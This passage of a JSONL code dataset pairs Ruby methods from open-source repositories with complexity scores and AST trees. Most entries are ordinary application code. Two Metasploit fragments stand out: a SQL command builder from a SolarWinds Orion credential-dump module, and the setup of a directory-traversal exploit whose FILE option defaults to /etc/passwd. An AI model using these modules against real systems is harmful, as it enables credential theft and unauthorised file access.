end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fields_for_integration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"integration\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"FieldSerializer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"integration\"]},{\"type\":\"lvar\",\"children\":[\"integration\"]}]}]}]},\"represent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integration\"]},\"form_fields\"]}]},\"to_json\"]}]}","id":"192ed048-ced7-4640-b6e4-0070811ecfc2"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/github_controller.rb","start_line":218,"raw_source":"def verify_import_enabled\n render_404 unless import_enabled?\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_import_enabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_enabled?\"]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}","id":"3e17e22b-4e03-49e9-b394-0946d124f3ea"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/time_with_zone.rb","start_line":465,"raw_source":"def to_f\n utc.to_f\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_f\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"utc\"]},\"to_f\"]}]}","id":"bc1b6383-86e8-4941-8064-c16bca2c73c4"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/overviews/app/components/overviews/show_component.rb","start_line":66,"raw_source":"def render_sidebar_turbo_frame(*ids, src: nil, target: nil, **attributes)\n turbo_frame_tag(*ids, src:, target:, **attributes) do\n render_skeleton\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"render_sidebar_turbo_frame\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"ids\"]},{\"type\":\"kwoptarg\",\"children\":[\"src\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"target\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"attributes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"turbo_frame_tag\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"src\"]},{\"type\":\"lvar\",\"children\":[\"src\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render_skeleton\"]}]}]}","id":"db9f4306-2454-4661-b841-c201d355379d"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/models/account_spec.rb","start_line":575,"raw_source":"def username_over_limit\n 'a' * described_class::USERNAME_LENGTH_LIMIT * 2\n end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"username_over_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},\"*\",{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"USERNAME_LENGTH_LIMIT\"]}]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]}","id":"417db198-80be-45c2-8e18-01067221f45f"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/invalid_options_test.rb","start_line":34,"raw_source":"def invalid_create_table_option_exception_message(key)\n table_keys = [\":temporary\", \":if_not_exists\", \":options\", \":as\", \":comment\", \":charset\", \":collation\"]\n primary_keys = [\":limit\", \":default\", \":precision\"]\n\n if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)\n primary_keys.concat([\":unsigned\", \":auto_increment\"])\n elsif current_adapter?(:SQLite3Adapter)\n table_keys.concat([\":rename\"])\n end\n\n \"Unknown key: :#{key}. Valid keys are: #{(table_keys + primary_keys).join(\", \")}\"\n end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"invalid_create_table_option_exception_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table_keys\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":temporary\"]},{\"type\":\"str\",\"children\":[\":if_not_exists\"]},{\"type\":\"str\",\"children\":[\":options\"]},{\"type\":\"str\",\"children\":[\":as\"]},{\"type\":\"str\",\"children\":[\":comment\"]},{\"type\":\"str\",\"children\":[\":charset\"]},{\"type\":\"str\",\"children\":[\":collation\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"primary_keys\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":limit\"]},{\"type\":\"str\",\"children\":[\":default\"]},{\"type\":\"str\",\"children\":[\":precision\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"Mysql2Adapter\"]},{\"type\":\"sym\",\"children\":[\"TrilogyAdapter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"primary_keys\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":unsigned\"]},{\"type\":\"str\",\"children\":[\":auto_increment\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"SQLite3Adapter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_keys\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\":rename\"]}]}]},null]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown key: :\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\". Valid keys are: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_keys\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"primary_keys\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}","id":"3c60ebcd-87a3-4dd7-8a19-02b720175e51"}
+{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/resolver_shared_tests.rb","start_line":110,"raw_source":"def test_different_templates_when_cache_disabled\n with_file \"test/hello_world.html.erb\", \"Hello HTML!\"\n\n a = context.find(\"hello_world\", \"test\", false, [], {})\n b = context.disable_cache { context.find(\"hello_world\", \"test\", false, [], {}) }\n c = context.find(\"hello_world\", \"test\", false, [], {})\n\n # disable_cache should give us a new object\n assert_not_same a, b\n\n # but it should not clear the cache\n assert_same a, c\n end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_different_templates_when_cache_disabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_file\",{\"type\":\"str\",\"children\":[\"test/hello_world.html.erb\"]},{\"type\":\"str\",\"children\":[\"Hello HTML!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"a\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"find\",{\"type\":\"str\",\"children\":[\"hello_world\"]},{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"b\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"disable_cache\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"find\",{\"type\":\"str\",\"children\":[\"hello_world\"]},{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"find\",{\"type\":\"str\",\"children\":[\"hello_world\"]},{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_same\",{\"type\":\"lvar\",\"children\":[\"a\"]},{\"type\":\"lvar\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_same\",{\"type\":\"lvar\",\"children\":[\"a\"]},{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]}","id":"f84f6c5c-de11-4ffd-9e75-bd49e37b1284"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config.rb","start_line":392,"raw_source":"def department_of(qualified_cop_name)\n *cop_department, _ = qualified_cop_name.split('/')\n return nil if cop_department.empty?\n\n self[cop_department.join('/')]\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"department_of\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"qualified_cop_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cop_department\"]}]},{\"type\":\"lvasgn\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qualified_cop_name\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop_department\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop_department\"]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}","id":"66dff927-5106-43a1-a175-6a43c926ad80"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/solarwinds_orion_dump.rb","start_line":317,"raw_source":"def sql_prepare(sql_query)\n if @orion_db_integrated_auth\n sql_cmd = \"#{@sql_client} -d \\\"#{@orion_db_name}\\\" -S #{@orion_db_instance_path} -E -Q \\\"#{sql_query}\\\" -h-1 -s\\\",\\\" -w 65535 -W -I\".gsub(\"\\r\", '').gsub(\"\\n\", '')\n else\n sql_cmd = \"#{@sql_client} -d \\\"#{@orion_db_name}\\\" -S #{@orion_db_instance_path} -U \\\"#{@orion_db_user}\\\" -P \\\"#{@orion_db_pass}\\\" -Q \\\"#{sql_query}\\\" -h-1 -s\\\",\\\" -w 65535 -W -I\".gsub(\"\\r\", '').gsub(\"\\n\", '')\n end\n sql_cmd\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sql_prepare\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql_query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@orion_db_integrated_auth\"]},{\"type\":\"lvasgn\",\"children\":[\"sql_cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sql_client\"]}]},{\"type\":\"str\",\"children\":[\" -d \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@orion_db_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\" -S \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@orion_db_instance_path\"]}]},{\"type\":\"str\",\"children\":[\" -E -Q \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql_query\"]}]},{\"type\":\"str\",\"children\":[\"\\\" -h-1 -s\\\",\\\" -w 65535 -W -I\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\r\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql_cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sql_client\"]}]},{\"type\":\"str\",\"children\":[\" -d \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@orion_db_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\" -S \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@orion_db_instance_path\"]}]},{\"type\":\"str\",\"children\":[\" -U \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@orion_db_user\"]}]},{\"type\":\"str\",\"children\":[\"\\\" -P \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@orion_db_pass\"]}]},{\"type\":\"str\",\"children\":[\"\\\" -Q \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql_query\"]}]},{\"type\":\"str\",\"children\":[\"\\\" -h-1 -s\\\",\\\" -w 65535 -W -I\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\r\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"sql_cmd\"]}]}]}","id":"6eff3f9a-3241-452e-9371-c239e9b22262"}
+{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/lib/reverse_etl/transformers/embeddings/open_ai.rb","start_line":24,"raw_source":"def openai_embedding_request(text)\n http_method = \"POST\"\n payload = {\n model: @model,\n input: text\n }\n headers = {\n \"Authorization\" => \"Bearer #{@api_key}\",\n \"Content-Type\" => \"application/json\"\n }\n\n begin\n response = Multiwoven::Integrations::Core::HttpClient.request(\n OPENAI_EMBEDDING_URL,\n http_method,\n payload:,\n headers:\n )\n\n unless success?(response)\n raise OpenAIError, \"OpenAI request failed with status #{response.code}: #{response.body}\"\n end\n\n JSON.parse(response.body)\n rescue JSON::ParserError => e\n raise OpenAIError, \"Failed to parse response from OpenAI: #{e.message}\"\n rescue StandardError => e\n raise OpenAIError, \"An error occurred while making the OpenAI request: #{e.message}\"\n end\n end","complexity_score":22.7,"ast_json":"{\"type\":\"def\",\"children\":[\"openai_embedding_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"http_method\",{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@model\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bearer \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_key\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Multiwoven\"]},\"Integrations\"]},\"Core\"]},\"HttpClient\"]},\"request\",{\"type\":\"const\",\"children\":[null,\"OPENAI_EMBEDDING_URL\"]},{\"type\":\"lvar\",\"children\":[\"http_method\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success?\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"OpenAIError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"OpenAI request failed with status \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"OpenAIError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to parse response from OpenAI: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"OpenAIError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"An error occurred while making the OpenAI request: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}]}]}","id":"4a4e15fe-836c-408a-8e0e-ec08b05a0fdc"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => \"ManageEngine Support Center Plus Directory Traversal\",\n 'Description' => %q{\n This module exploits a directory traversal vulnerability found in ManageEngine\n Support Center Plus build 7916 and lower. The module will create a support ticket\n as a normal user, attaching a link to a file on the server. By requesting our\n own attachment, it's possible to retrieve any file on the filesystem with the same\n privileges as Support Center Plus is running. On Windows this is always with SYSTEM\n privileges.\n },\n 'License' => MSF_LICENSE,\n 'Author' => 'xistence ', # Discovery, Metasploit module\n 'References' => [\n ['CVE', '2014-100002'],\n ['EDB', '31262'],\n ['OSVDB', '102656'],\n ['BID', '65199'],\n ['PACKETSTORM', '124975']\n ],\n 'DisclosureDate' => '2014-01-28',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n Opt::RPORT(8080),\n OptString.new('TARGETURI', [true, 'The base path to the Support Center Plus installation', '/']),\n OptString.new('USER', [true, 'The Support Center Plus user', 'guest']),\n OptString.new('PASS', [true, 'The Support Center Plus password', 'guest']),\n OptString.new('FILE', [true, 'The Support Center Plus password', '/etc/passwd'])\n ]\n )\n end","complexity_score":10.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"ManageEngine Support Center Plus Directory Traversal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a directory traversal vulnerability found in ManageEngine\\n\"]},{\"type\":\"str\",\"children\":[\" Support Center Plus build 7916 and lower. The module will create a support ticket\\n\"]},{\"type\":\"str\",\"children\":[\" as a normal user, attaching a link to a file on the server. By requesting our\\n\"]},{\"type\":\"str\",\"children\":[\" own attachment, it's possible to retrieve any file on the filesystem with the same\\n\"]},{\"type\":\"str\",\"children\":[\" privileges as Support Center Plus is running. On Windows this is always with SYSTEM\\n\"]},{\"type\":\"str\",\"children\":[\" privileges.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"xistence \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-100002\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"31262\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"102656\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"65199\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PACKETSTORM\"]},{\"type\":\"str\",\"children\":[\"124975\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-01-28\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8080]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to the Support Center Plus installation\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Support Center Plus user\"]},{\"type\":\"str\",\"children\":[\"guest\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Support Center Plus password\"]},{\"type\":\"str\",\"children\":[\"guest\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Support Center Plus password\"]},{\"type\":\"str\",\"children\":[\"/etc/passwd\"]}]}]}]}]}]}]}","id":"1d9719f6-8bb2-4f32-b958-e578f6179862"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/filtered_search_helpers.rb","start_line":308,"raw_source":"def expect_token_segment(value)\n expect(page).to have_css '.gl-filtered-search-token-segment', text: value\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_token_segment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".gl-filtered-search-token-segment\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"2f6e389f-2811-42da-9cbb-7951aae477f4"}
+{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/nodebb/mongo.rb","start_line":74,"raw_source":"def topic(id)\n topic = mongo.find(_key: \"topic:#{id}\").first\n\n topic[\"lastposttime\"] = timestamp_to_date(topic[\"lastposttime\"])\n topic[\"timestamp\"] = timestamp_to_date(topic[\"timestamp\"])\n topic[\"mainpost\"] = post(topic[\"mainPid\"])\n topic[\"mainPid\"] = topic[\"mainPid\"].to_s\n topic[\"deleted\"] = topic[\"deleted\"].to_s\n topic[\"pinned\"] = topic[\"pinned\"].to_s\n topic[\"locked\"] = topic[\"locked\"].to_s\n\n topic\n end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"topic\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mongo\"]},\"find\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"_key\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"topic:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"lastposttime\"]},{\"type\":\"send\",\"children\":[null,\"timestamp_to_date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lastposttime\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[null,\"timestamp_to_date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"timestamp\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"mainpost\"]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]